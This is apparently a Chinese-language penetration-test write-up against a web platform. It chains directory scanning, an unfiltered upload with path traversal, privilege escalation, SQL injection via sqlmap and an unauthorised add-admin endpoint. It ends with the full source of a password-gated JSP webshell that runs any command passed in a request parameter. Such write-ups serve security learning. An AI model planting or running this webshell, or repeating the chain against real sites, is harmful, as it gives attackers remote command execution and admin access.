一次簡單的滲透測試記錄
目標
- 某平臺系統(www.target.net)
流程
本次滲透測試的流程圖:

測試
拿到站點后先做信息收集,掃描目錄看看有無敏感信息

寥寥無幾,沒有任何信息,啟動burpsuite打開網站走一遍流程。
在創建目標處存在圖片上傳接口,上傳shell試試。

沒有任何過濾,可直接上傳,但當前目錄不解析,猜測projectKey控制上傳路徑

可跨目錄上傳,但當前/webapp/test/uploadFile/路徑非網站根目錄,爆破了常見網站目錄但沒有一個是正確的解析shell的,先放著后續是否能找到網站根路徑然后再跨目錄上傳。
越權
在瀏覽到某個頁面中看到了一處鏈接/detail.shtml?key={{id}},拿出來瀏覽器中訪問,測測是否存在越權或者SQL注入。

隨便給個數值訪問測試,發現只存在水平越權,不存在注入。

去掉參數直接訪問,卻彈出來了報錯頁面。

該站點使用的是spring框架,重新使用spring相關接口路由字典掃一遍,還意外掃到了druid登錄頁面,但并不存在未授權訪問和弱口令的漏洞,繼續看swagger。

在swagger中找到了一處注入和敏感信息泄露。
敏感信息泄露

根據URL猜參數名teamId,查看到所有的團隊信息。

這里也是一處越權。
sql注入

同樣猜參數名,未做任何過濾,單引號報錯,直接上sqlmap一把梭。

越權添加用戶
但翻了翻數據庫并未找到管理員賬號密碼,不過找到了網站接口配置信息,將接口導出然后放到burpsuite里面跑

成功找到了越權添加/編輯用戶接口,直接添加新管理員賬號并登錄。

任意文件上傳
回到剛才文件上傳處,通過sql注入報錯頁面我們找到了真實路徑/usr/local/test/webapps/ROOT/WEB-INF/classes/mappings/base-mapper.xml],修改projectKey值,用../../../../跨目錄上傳shell

疑問
在最后上傳shell處,嘗試了冰蝎、哥斯拉的馬都無法正常解析,
(報錯信息為 頁面存在,但無法連接)
后來更換了帶密碼回顯的jsp馬才成功,后來和朋友溝通后覺得問題是沒有攜帶Cookie,所以導致用冰蝎和哥斯拉無法正常連接。
<%
if("admin".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("
");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
");
}